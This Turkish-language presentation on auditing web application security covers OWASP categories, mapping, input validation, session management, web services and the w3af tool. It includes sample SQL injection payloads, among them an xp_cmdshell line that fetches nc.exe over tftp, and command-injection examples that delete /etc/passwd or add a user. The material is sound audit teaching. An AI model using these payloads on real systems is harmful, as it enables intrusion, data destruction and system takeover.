

Web Uygulamaları Güvenlik Denetimi

Fatih Özavcı

Web Uygulamalarının Güvenlik Sorunları

- Web temelli yazılım geliştirme, hızlı ve sonuca yönelik yapılmaktadır; güvenlik kriterleri genelde göz ardı edilmektedir.
- Hızlı değişen teknolojilere uyum sağlamak ve uygulamaya entegre etmek her zaman sorunlu olacaktır.
- Web uygulamasını geliştirmek gibi web uygulamasına saldırmakta kolaydır, programlama bilgisinin fazla olmasını gerektirmez.
- Genellikle paket yazılımlar yerine kurum içi geliştirilmiş yazılımlar (bir güvenlik mühendisinin sorumluluğunda olmayan, yaması takip edilemeyen) tercih edilmektedir.



Neye Göre Denetlemeli ?

→ Yetersiz Kalacak Denetimler

→ IT Audit

→ Cobit

→ ISO 27001 / BS 7799

→ Ne Yapılmalı ?

→ Denetim yaklaşımı değiştirilmeli

→ Söylenen değil, yapılan incelenmeli

→ Teknik araçlardan faydalanılmalı

→ Kağıt üzerinde ve uygulanmış mimariler karşılaştırmalı olarak incelenmeli

→ Uygulamanın sahip olması gereken güvenlik kriterleri araştırılmalı

→ Uygulamaya art niyetli bir kişi gibi girdi verilerek çıktısı izlenmeli

→ Kaynak kod analizi yapılmalı



Nasıl Denetlemeli ?

- Uygulamanın söylediklerinin gerçek olmadığını bilerek
- Gizli Değişkenler Bulunamaz
- Liste ve Seçim Düğmelerine Başka Değer Gelemez
- Javascript/Activex/Flash vb. Limitleri Aşamaz
- Browser ile Uygulama Arasında Olanlar Bilinemez
- Sadece XXXX Browser ve XXXX Sürüm ile Girilebilir
- Özgür denetim araçları kullanılarak
- Denetim ortamını her uygulamaya özel geliştirerek
- Sorunları değil, güvenlik açıklarını arayarak

Neler Denetlenmeli ?

- Geliştiricilerce Vaad Edilen Her Şey !
- Uygulamanın Hizmet Ettiği Amacın Olmazsa Olmazları
- WASC Tehdit Sınıflandırması
- Doğrulama
- Yetkilendirme
- Mantıksal Saldırıları
- İstemci Tarafı Saldırıları
- Komut Çalıştırma
- Bilgi Sızdırma
- PCI (Payment Card Industry) Data Security Standart 2 => OWASP Top 10





Neler Denetlenmeli ?

- OWASP 10
 - Siteler Arası Komut Çalıştırma (XSS)
 - Enjeksiyon Açıkları (SQL Injection, Command Injection vs.)
 - Zararlı Dosya Çalıştırma (RFI, LFI)
 - Emniyetsiz Doğrudan Nesne Erişimi
 - Siteler Arası İstek Sahteciliği (CSRF)
 - Bilgi Sızdırma
 - Oturum ve Kimlik Yönetimi Açıkları
 - Güvensiz Kripto Kullanımı
 - Güvensiz İletişim
 - URL Erişimi Kısıtlama Bozuklukları

Neler Denetlenmeli ?

- Teknik Zaafiyetler
 - SQL Sorguları Değiştirilmesi
 - Siteler Arası Komut alıştırma
 - Oturum Sorunlarının Kullanımı
 -
- Mantıksal Zaafiyetler
 - Ürün Fiyatları Değiştirme
 - Hatalı Yetkilendirme
 - Eski Kullanıcıları Etkinleřtirme
 - Yetkisiz Para Aktarımı
 - Bozuk Hesap Yaratma
 - ...

Denetim Araçları

- Binlerce bilinen, onbinlerce bilinmeyen saldırı yöntemi web uygulamalarını tehdit etmektedir. Denetim sürecinde her yöntemi kullanmak mümkün değildir, bu nedenle otomatize yazılımlar sıklıkla kullanılmaktadır.
- Yardımcı Araçların Kullanım Yöntemleri
 - Web Uygulaması Haritasının Oluşturulması
 - Belirlenen Değişkenlerin veya Uygulama Bölümlerinin, Tanımlanan Biçimde Döngülerle Denenmesi
 - Profiller Tanımlayarak Bilinen Yöntemlerle Saldırı Yapılması
 - Browser ile Web Uygulaması Arasında Interaktif Proxy Kullanımı
 - Farklı Dil veya Veri Kodlamaları Çevrimi
 - Bilinen Zaafiyetlerin Otomatize Denetlenmesi
 - Web Servislerinin Analizi
 - ...

Denetim Süreci

- Denetim Süreci
 - Haritalama
 - Belirlenen Potansiyel Zaafiyet Noktalarının Analizi
 - Farklı Girdi Türleri Gönderimi ve Çıktı Analizi
 - Otomatize Zaafiyet Tarama
 - Farklı Kullanım Yaklaşımları
 - Güvenlik Önlemlerinin Analizi
 - Tümevarım ve Genel Yorum
 - Çözüm Önerileri ile Raporlama
- Tüm zaafiyetlerin denenmesi mümkün değildir !
- Örnekleme tercih edilmeli, zaafiyetten genel yorum çıkarılmalı
- Alınmış güvenlik önlemlerinin yeterliliği sorgulanmalı

Web Uygulaması Haritalama

Web Uygulaması Haritalama

- Web Uygulaması Denetim Kapsamı için Gereklidir
- Potansiyel Zaafiyet Noktalarının Tespit Edilmesi için Gereklidir
- Örneklem Sürecinin Doğru İşlemesi İçin Her Bileşen Grubu İncelenmeli
- Web Uygulamasının Tüm Bileşenleri ve Değişkeleri Listelenir
 - Pasif Uygulama Bileşenleri (Resim, Html, Javascript, CSS vb.)
 - Aktif Uygulama Bileşenleri (PHP, ASP, DLL, EXE, JSP vb.)
 - Uygulamanın Kabul Ettiği Değişkenler ve Türleri (GET ve POST ayrımı)
 - Formlar ve Amaçları
 - Harici Uygulama Bileşenleri (Dış uygulamalar, Örnekler vb.)
 - Yönetim Arabirimi
- Sadece Sayfaların Bağlantılarını Analiz Eden Yazılımlar Yetersizdir

Haritalama Yöntemleri

- Interaktif bir proxy ile gezilen sayfaların ve özelliklerin kayıt edilmesi
- Haritalama özelliği bulunan Interaktif proxy ile gezme ve haritalamanın birlikte çalıştırılması
- Mümkün olduğunca fazla sayfa gezilmeli, formların doğru şekilde kabul edildiğinden emin olunmalı
- GET ve POST istekleri doğru biçimde yorumlanmalı
- Sadece haritalama yapan yazılımlar ile uygulamanın haritalanması
- Bilinen dizin, dosya ve uygulamayı arayan türde yazılımların kullanımı
- Yedek, örnek uygulama ve isim benzerlikleri için araştırma yapılmalı
- Uygulama için farklı doğrulama yöntemleri kullanılmalı
- Haritalama yapılırken sadece uygulama bileşenlerini değil, hangi uygulama bileşeninin hangi değişkeni kabul ettiği de kayıt edilmeli

Girdi Doğrulama Sorunları

Girdi Doğrulama Sorunları

- Kullanıcılar her zaman beklenen türde veri göndermezler, bu durum uygulamanın beklenmeyen durumlar oluşturmalarına neden olabilir
- Normal sayı yerine daha büyük sayı, alfanümerik bir yere özel karakter girilmesi gibi işlemler hatalar doğurabilir
- Özel karakter, uygulamanın kullandığı yere bağlı olarak beklenmeyen işlemler de gerçekleştirebilir

- SQL Sorgularının Değiştirilmesi
- Komut Sorgularının Değiştirilmesi
- LDAP Sorgularının Değiştirilmesi
- Siteler Arası Komut Çalıştırma
- Siteler Arası İstek Sahteciliği
- Zararlı Dosya Çalıştırma
- Bellek Taşmaları

```
Error Type:
Microsoft OLE DB Provider for Oracle (0x80040E14)
ORA-00933: SQL command not properly ended
/      /forgotpassword4.asp, line 8
```



Uygulamanın Girdi Kabul Ettiği Yerler

- İstek Başlık Bilgileri
 - İstemci Bilgileri
 - Protokol Başlıkları
- Uygulama Bileşenleri
 - Formlar
 - Seçimli, Listeli, Gizli Değişkenler
 - Diğer Uygulama Bileşenleri (GET/POST)
 - Çevre/Ortam Değişkenleri
 - XML Verileri
 - SOAP Verileri
 - Dış Kaynaklardan Alınacak Veriler

SQL Sorgularının Değiştirilmesi

- Kullanıcıdan/Dış Kaynaktan alınan verinin, kontrol edilmeden SQL cümlelerinde kullanılması sonucu oluşur.
- Veritabanına yetkisiz erişim imkanı verir, kullanıcı doğrulamanın atlatılmasını sağlar, veritabanı sunucusu üzerinden sistemde komut çalıştırılabilir.

<http://www.XXX.com/login.asp?user=gelenisim&pass=şifre>

select uid from users where username='gelenisim' and password='gelenşifre'

select uid from users where username='admin' --' and password='yanlış'

select uid from users where username='deneme'; exec master..xp_cmdshell 'tftp.exe -i 192.168.1.1 GET nc.exe'; -- ' and password='yanlış'

select uid from users where username='admin' UNION ALL SELECT password from users --' and password='gelenşifre'

select uid from users where username=''; DROP table users --' and password='yanlış'

SQL Sorgularının Değiştirilmesi

- Denetlenmesi için her bir değişkene SQL sorgularında anlam ifade edebilecek karakterler/kelimeler gönderilmeli, çıktılar izlenmeli

' ; -- * **SELECT DROP INSERT UPDATE CREATE**

- Hata mesajlarına ulaşılamıyorsa (standart bir hata mesajı dönüyorsa) ; SQL sorgusuna hata döndürmeyecek ancak çalıştığına emin olabileceğimiz ifadeler tercih edilmeli

' **OR 1='1** ' **AND 1='1** ' ; -- ' ; **WAITFOR DELAY '0:0:10'** --

- Eğer basit ve atlatılabilir güvenlik önlemleri alındığı düşünülüyorsa, güvenlik önlemi alınmadığı düşünülen şekilde veriler gönderilmeli

\'; -- **SEL/*AÇIKLAMA*/ECTchar(59)**

Komut Sorgularının Değiştirilmesi

- Kullanıcıdan/Dış Kaynaktan alınan verinin, kontrol edilmeden Komut cümlelerinde kullanılması sonucu oluşur.
- Sisteme yetkisiz erişim imkanı verir, sistemde komut çalıştırılabilir.

`http://www.XXX.com/tarih=11102007`

`değişken=system('date -s tarih')`

`değişken=system('date -s 11102007')`

`değişken=system('date -s 11102007; rm -rf /etc/passwd')`

`değişken=system('date -s 11102007; useradd saldirgan')`

- XML, LDAP vb. birçok değişik şekilde karşılaşılmaktadır.
- Doğrudan bu tür zaafiyetleri denetleyen bir araç yoktur veya verimli değildir.

Siteler Arası Komut Çalıştırma

- Kullanıcıdan/Dış Kaynaktan alınan verinin, kontrol edilmeden HTML sayfa içeriğinde veya e-postada kullanılması sonucu oluşur.
- İstemci tarafında beklenmeyen durumlar oluşturabilir, istemcide komut çalıştırılabilir, sayfa görünümü geçici olarak değiştirilebilir veya istemci yanıtılabilir.
- Diğer saldırı türlerinden farklı olarak insan unsurunu çok fazla kullanmasından dolayı tehlikenin boyutu çok değişkendir.

`http://www.XXX.com/isim=Mehmet`

Hosgeldin Mehmet

`http://www.XXX.com/isim=Ziyaretci,
<h1>Burasi Hack Edilmistir</h1>`

Hosgeldin Ziyaretci,

Burasi Hack Edilmistir

Siteler Arası Komut Çalıştırma

- İstemci tarafında bir işlem yapmak için kullanılır ;
- İstemcinin oturumunu çalmak (Cookie değerini almak)
- İstemcinin sistemini ele geçirmek
- İstemcinin gördüğü sayfayı değiştirmek
 - Sayfaya bir form koyarak, istemcinin başka bir sayfaya veri göndermesini sağlamak
 - İstemcinin kendi yetkileriyle özel bir işlemi yapmasını sağlamak
 - Sayfaya istenmeyen bir resim veya ifade koyarak kurumu küçük düşürmeye çalışmak
- Uygulamanın girdiyi kaydetmesine göre Geçici veya Kalıcı şekilde yapılabilir.
- HTML, Javascript, VBScript ve ActiveX gibi çok sayıda nesne kullanılabilir.
- İstemci yazılımlarının zaafiyetleri de istismar edilebilir. (ani, wmf, tiff vb.)

Kullanıcı, Grup ve Yetki Yönetimi

Kullanıcı, Grup ve Yetki Yönetimi

- Uygulamalar, farklı kullanıcı profilleri olabileceği öngörülerek kullanıcı yönetimi sistemine sahip olurlar; ancak kullanıcı yönetim sistemi genellikle ciddi hatalar barındırmaktadır.
- Kullanıcı / Grup Kullanımı Yetersizlikleri
- Yetki Dağıtım ve Takip Yetersizlikleri
- Şifre Politikası Yetersizlikleri
- Hatalı Kriptolama Kullanımı
- Denetim, diğer zaafiyetlerin denetimine oranla zordur; istemci tarafından görülenler yeterli bulunmamalı ve geliştiricinin şemaları/kodları kontrol edilmelidir.
- Özel araçlar bulunmamakla birlikte Interaktif Proxy'ler genellikle yeterli olmaktadır.

Kullanıcı, Grup ve Yetki Yönetimi

- Kullanıcı / Grup Kullanımı Yetersizlikleri
 - Kullanıcı Kimliklendirme Sorunları
 - Eski Kullanıcıların Yönetimi
 - Kullanıcı Kimlik Seçimi Yöntemi (İsim, IP, Alan Adı vb.)
 - Kullanıcı Gruplaması Kullanılmaması
 - Grup Takibinin İstemci Tarafında veya Başlık Bilgilerinde Yapılması
- Yetki Dağıtım ve Takip Yetersizlikleri
 - Yetkilerin Gruplara Atanmaması, Kullanıcı Girişinin Yeterli Görülmesi
 - Yetki Takibinin İstemci Tarafında veya Başlık Bilgilerinde Yapılması
 - Her Uygulama Bileşeninde Kontrol Edilmemesi
 - Yönetim Arabirimlerine Doğrudan Erişim Verilmesi

Kullanıcı, Grup ve Yetki Yönetimi

- Şifre Politikası Yetersizlikleri
 - Şifre Kalitesi
 - Şifre Güncelleme ve Yaşlandırma
 - Eski Şifre Geçerlilikleri ve Karşılaştırma
 - Şifre Kurtarma, Alternatif Şifre Kullanımları
- Hatalı Kriptolama Kullanımı
 - Kullanıcı Girişini Kriptosuz (SSL/TLS vb. olmayan) Ortamda Yapmak
 - Veritabanında Şifreleri Kriptosuz Tutmak
 - Oturum Değerini veya Diğer Değerleri Kolay Bir Algoritma ile Kriptolamak
 - İstemciden Şifreyi Düz Metin Olarak Almak

Denetim Yöntemleri

- Zayıf Kullanıcı ve Şifre Seçimleri Denenmelidir
- Deneme Yanılma veya Bir Sözlük Saldırısı Gerçekleştirme
- Şifre Unutma ile Hesap Kurtarma
- Kullanılıyorsa Harici Doğrulama Yöntemlerinin İncelenmesi
- Giriş Yapılan Kullanıcı ile Diğer Kullanıcıların Kaynaklarına Erişim Denenmelidir
- Hesap Bilgilerine Erişim
- Bir Sayfaya Doğrudan İstekte Bulunmak
- Denetim Yaklaşımıyla Normal İşlemler Gerçekleştirilmelidir
- Kullanıcı Girişinde Kripto Kullanımı
- Potansiyel Yönetim Arabirimi Girişleri
- Cookie, Başlık Bilgileri ve Gizli Değişkenlerin İncelenmesi
- Geliştiriciden Alınan Dökümantasyon İncelenmelidir

Örnek Zaafiyet

- Kullanıcı Şifreleri E-Posta İle Düz Metin Olarak Gönderiliyor
- Kullanıcı Şifreleri Veritabanına Düz Metin Olarak Kayıt Ediliyor
- Şifre Politikası Yetersiz ve Hesaplar Kolay Şifrelere Sahip Olabiliyor

Subject: Üyelik Bilgileriniz
From: [REDACTED]
Date: 3/10/08 2:28 PM
To: info@gamasec.net

Sevgili ,
[REDACTED] web sitesi üyelik bilgileriniz aşağıdaki gibidir:

Kullanıcı adı = test
Şifre = 1234567

Saygılarımızla

Oturum Yönetimi

Oturum Yönetimi

- HTTP protokolü, oturum takibi bulunmayan ve her isteğin bağımsız kabul edildiği bir protokoldür. Bu nedenle Web Uygulamaları kendi oturum takip ve yönetim sistemine sahip olmak zorundadır.
- Her isteğin doğru kullanıcı profiline yönlendirilmesi
- Kimliğin ve yetkilerin isteklerde nasıl yer alacağını belirlenmesi
- Kullanıcı isteklerinin geçerliliğinin ve takibinin yapılması
- Denetim, diğer zaafiyetlerin denetimine oranla zordur; istemci tarafından görülenler yeterli bulunmamalı ve geliştiricinin şemaları/kodları kontrol edilmelidir.
- Özel araçlar bulunmamakla birlikte Interaktif Proxy'ler genellikle yeterli olmaktadır.

Oturum Yönetimi

- Kimlik ve Oturum Takip Bileşenleri
 - Cookie Kullanımı
 - Gizli Değişkenlerin Kullanımı
 - Oturum Takibinde Kriptolama Kullanımı
 - Geliştirme Platformu ve Geliştiricilerin Kullandığı Farklı Yöntemler
 - Ek Kimlik Tanımları
 - IP Adresi, Yerleşim, Süre
- Oturum Sorunları
 - Oturum İklendirme ve Takibi
 - Geçersiz/Hatalı veya İptal Edilmiş Oturumlar
 - Oturum Zaman Aşımaları
 - Oturum Sonlandırma Yöntemi
 - Her Uygulama Bileşeninde Yetki ve Oturum Takibi

Denetim Yöntemleri

- Oturum Takibinin Denetimi
 - Eski, Geçersiz, Tekrar Eden ve Bozuk Oturum Değerleri ile Doğrulama
 - Oturum Takip Yönteminin Analizi
 - Geliştirme Platformu Özellikleri
 - Geliştirici Tarafından Eklenen Özellikler
 - Her Uygulama Bileşeninin Oturum Takibi Tepkisinin Analizi
 - Eş Zamanlı Oturum Kullanımı
- Oturum Zaman Aşımaları Denetimi
 - Oturum Sonlandırma Yöntemi Analizi
 - Oturum Zaman Aşımı Kriterleri Analizi
- Denetim Yaklaşımıyla Normal İşlemler Gerçekleştirilmelidir
 - Çıkış/Giriş Yapmak
 - Yetkisiz Alanlara Erişmeye Çalışmak
- Geliştiriciden Alınan Dökümantasyon İncelenmelidir

Web Servisleri

Web Servisleri

- Uygulamalar Yapılan İşlemlerin Bir Kısımını Web Servisi Olarak Kullanabilir
 - Ortak Fonksiyonların Kullanımı
 - Arayüz Gereksinimi Olmayan Durumlar
 - Orta Katman Yazılımları, Dağıtık Programlama
 - Veri Akışı için XML Yapısı Kullanılır
 - XML Yorumlama ve Kontrol
 - XML Kriptolama
 - SOAP, XML RPC vb.
 - Web 2.0 ile Çok Yoğun Kullanılmaktadır
- SOAP (Simple Object Access Protocol)
 - Her Dil İçin Uzantılar Bulunuyor (PHP, .NET, Java vb.)
 - XML ile Alınan Verinin Bir Fonksiyona Aktarılması Gibi Çalışıyor
 - Farklı Veri Tiplerini ve Dosya Eklerini Destekliyor

- WSDL (Web Service Definition Language) Analizi
- Web Servisinin Nasıl Çalıştığı ve Ne Tür Girdileri Kabul Ettiğini İçerir
- Standart Olarak Bulunması Gerektiğinden Genellikle Kaldırılmaz
- Denetim İçin Giriş Noktasını Oluşturur
 - Hangi Değişkenler ve Yöntemler Denetlenecek, Değişken Türleri
- XML Şeması Aracılığıyla Kabul Edilen Verilerin Analizi
- XML Şeması Değiştirilmesi
- Yeni Etiket, Nesnelerin Kullanımı
- Web Servisi Ara Katman Olarak Kullanıldığı İçin Diğer Açıklardan da Etkilenir
- SQL Sorguları Değiştirilmesi, Siteler Arası Komut Çalıştırma
- Girdiyi Alan Bir Uygulama Var ise; Bellek Taşmaları, Karakter Şekli Saldırısı
- Diğer Uygulama Bileşenleri Gibi Oturum ve Kullanıcı Takibi Sorunları Vardır

Denetim Yöntemleri

- WSDL Verisi Dikkatle İncelenmeli ve Denetlenecek Nesnelere Belirlenmeli
- Tanımlı Değişkenlerin Kullanımı, Eksik Gönderim, Yeniden Tanımlama
- XML Şemasının Değiştirilmesi, Yeni Etiketler, Bozuk Etiketler
- Diğer Uygulama Temelli Açıklar için Değişkenler Analiz Edilmeli
- Dosya Ekleme Özelliklerinin Denetimi (Kodlama, Sıkıştırma, Bozma vb.)
- Farklı Dil Kodlaması, Veri Kodlaması Kullanımı
- Otomatize Web Servisi Yazılımları Aracılığıyla Bilinen Zaafiyetler İncelenmeli
- SOAP Verileri Üzerinde Kripto Kullanımı ve Sayısal İmza Analizi
- Orta Katman Yazılımı Olarak Kullanılıyorsa, Servisi Kullanan Diğer Yazılımların Veri Aktarım Yöntemleri ve Davranışları Analiz Edilmeli

Diğer Denetim Kontrolleri

- Uygulama Platformu Yapılandırması
 - Yapılandırma, Güncelleme, Örnek Uygulamalar
- Olay Kayıt Mekanizması ve Kayıt Ortamı
 - Olay İzleme, Kayıt Yetkileri, Detay Seviyesi, Kriptolama Kullanımı
- Hata Yakalama Özellikleri
 - Veritabanı/Sunucu/Uygulama Hataları, Detay Seviyesi
- Art Niyetli Hareket Önlemleri
 - Şifre Denemesi Engelleme, Tepki Eşikleri, Tepkinin Kötüye Kullanımı
- İstemci Güvenliği
 - Görünüm Anlaşılabilirliği, Güvenlik Uyarıları, Doğru Yönlendirme

Web Application Attack and Audit Framework

- W3AF - <http://w3af.sourceforge.net/>
 - Özgür Yazılım, GPL
- Interaktif Proxy
- Eklenti Desteği
- Otomatize Güvenlik Denetimi
 - Web Uygulaması Haritalama
 - SQL Sorgusu Değiştirme
 - XSS
 - RFI/LFI Dosya İşletme
 -
- Dönüştürücü ve Kodlayıcılar
- Web Güvenlik Duvarı Atlama



w3af

Web Application Attack and Audit Framework

The screenshot displays the w3af - Proxy interface. The top menu bar includes 'Activate', 'Trap Requests', 'Configuration', and 'Help'. Below the menu, there are tabs for 'Request and Response' and 'History'. The main area is divided into two panels: 'Request' and 'Response'.

Request:

```
GET https://localhost:443/w3af/audit/xss/ HTTP/1.1
accept-language: en-us,en;q=0.5
accept-encoding: gzip,deflate
connection: keep-alive
keep-alive: 300
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
user-agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/20080702 Firefox/3.0.6
accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
host: localhost
referer: https://localhost/w3af/audit/
cookie: style=default; PHPSESSID=98f5bdb3ee7724a2d1ee
```

Response:

```
HTTP/1.1 200 OK
content-length: 1728
accept-ranges: bytes
keep-alive: timeout=15, max=99
server: Apache/2.2.8 (Ubuntu) DAV/2 mod_python/3.3.1 Python/2.5.2 PHP/5.2.4-2ubuntu5.5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/1.0.1e-fips mod_perl/2.0.4-6ubuntu1.1
last-modified: Wed, 19 Nov 2008 18:42:47 GMT
connection: Keep-Alive
etag: "2c61fc-6c0-45c0f2da697c0"
date: Fri, 13 Feb 2009 23:28:45 GMT
content-type: text/html
```

The response body contains the following HTML code:

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<link rel="stylesheet" type="text/css" href="/w3af/default.css" title="default" />
<title>Cross site scripting tests</title>
</head>
<body>
<div id="body">
<h1 id="xss">
XSS Tests in query strings
</h1>
<ol>
```

At the bottom of the interface, there are buttons for 'Drop', 'Send', and 'Next'.

Web Application Attack and Audit Framework

The screenshot displays the w3af web application framework interface. The main window is titled "w3af - Manual Requests" and is divided into two panes: "Request" and "Response".

Request Pane:

```
GET http://localhost/script.php HTTP/1.0
Host: www.some_host.com
User-Agent: w3af.sf.net
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
```

Response Pane:

```
HTTP/1.1 404 Not Found
date: Fri, 13 Feb 2009 19:31:24 GMT
content-length: 395
content-type: text/html; charset=iso-8859-1
server: Apache/2.2.8 (Ubuntu) DAV/2 mod_python/3.3.1 Python/2.5.2 PHP/5.2.4-2ubuntu5.
```

Below the response pane, the raw HTML content is displayed:

```
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /script.php was not found on this server.</p>
<hr>
<address>Apache/2.2.8 (Ubuntu) DAV/2 mod_python/3.3.1 Python/2.5.2 PHP/5.2.4-2ub
</body></html>
```

At the bottom of the window, there is a checkbox labeled "Fix content length header" which is checked, and a "Send" button.

Bağlantılar

- OWASP - www.owasp.org
- Top 10 - www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
- Araç Listesi - www.owasp.org/index.php/Tools
- Denetim Rehberi - www.owasp.org/index.php/Category:OWASP_Testing_Project
- WASC - www.webappsec.org
- Web Güvenlik Tehdit Sınıflandırması - www.webappsec.org/projects/threat
- Makaleler - www.webappsec.org/projects/articles
- Secunia - www.secunia.com
- Security Focus - www.securityfocus.com
- Web Güvenlik Topluluğu - www.webguvenligi.org
 - Web Uygulama Güvenliği Kontrol Listesi - 2012
- SANS Okuma Odası - www.sans.org/reading_room